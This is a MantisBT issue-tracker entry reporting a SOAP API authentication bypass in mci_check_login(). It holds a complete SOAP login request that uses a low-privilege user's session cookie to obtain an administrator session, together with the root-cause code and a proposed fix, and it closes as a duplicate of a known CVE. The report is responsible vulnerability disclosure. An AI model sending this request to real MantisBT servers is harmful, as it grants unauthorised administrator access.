View Issue Details

IDProjectCategoryView StatusLast Update
0037265mantisbtsecuritypublic2026-11-22 16:13
Reporterbharatdevasani Assigned Todregad  
PriorityimmediateSeveritymajorReproducibilityhave not tried
Status closedResolutionduplicate 
Product Version2.28.3 
Summary0037265: SOAP API authentication bypass via session cookie identity mismatch in mci_check_login()
Description

The SOAP API function mci_check_login() in api/soap/mc_api.php validates that the
password parameter contains a legitimate MANTIS_STRING_COOKIE value, but never
verifies that the cookie belongs to the user specified in the username parameter.

Any authenticated user (Reporter level or above) can supply their own valid session
cookie as the SOAP password field with a different username (e.g. administrator)
and receive a fully privileged session” no knowledge of the target user's password
is required.

Steps To Reproduce
  1. Log in as any Reporter-level user and note the MANTIS_STRING_COOKIE browser cookie value.

  2. Send the following SOAP request (replacing <REPORTER_COOKIE> with the actual cookie):

POST /api/soap/mantisconnect.php HTTP/1.1
Host: target.example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://futureware.biz/mantisconnect#mc_login"

<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="http://futureware.biz/mantisconnect"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:mc_login>
      <username xsi:type="xsd:string">administrator</username>
      <password xsi:type="xsd:string"><REPORTER_COOKIE></password>
    </ns1:mc_login>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
  1. Observe the response returns administrator's account with access_level=90.
    The reporter's cookie was accepted as valid credentials for the administrator account.
Additional Information

Root cause (api/soap/mc_api.php ~line 484):

$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
    // $t_user_id (cookie owner) is NEVER compared to $p_username
    if( auth_attempt_script_login( $p_username ) === false ) {
        return false;
    }
}

Suggested one-line fix:

$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
    if( user_get_username( $t_user_id ) !== $p_username ) {
        return false;  // cookie/username mismatch” reject
    }
    if( auth_attempt_script_login( $p_username ) === false ) {
        return false;
    }
}

Confirmed on: PHP 8.2, MariaDB, release-2.28.3 tag (commit c96c879)
Additionally, I would appreciate being credited in the CVE for this as Bharat Devasani.

TagsNo tags attached.

Relationships

duplicate of 0037121 closeddregad CVE-2026-47156: SOAP API Authentication Bypass -> Privilege Escalation to Administrator 

Activities

bharatdevasani

bharatdevasani

2026-06-25 15:30

reporter   ~0071257

I guess the severity shall be major. Currently I do not seen option to change. You may kindly change it.

dregad

dregad

2026-06-26 02:52

developer   ~0071258

Many thanks for the bug report. This vulnerability has already been identified (0037121, CVE-2026-47156) and will be fixed in 2.28.4 (soon to be released).

I'm closing this as duplicate.

dregad

dregad

2026-06-28 10:27

developer   ~0071264

@bharatdevasani do you have a GitHub user ID I can use for attribution on the Advisory ?

dregad

dregad

2026-06-28 12:32

developer   ~0071267

Thanks I just credited you as Finder.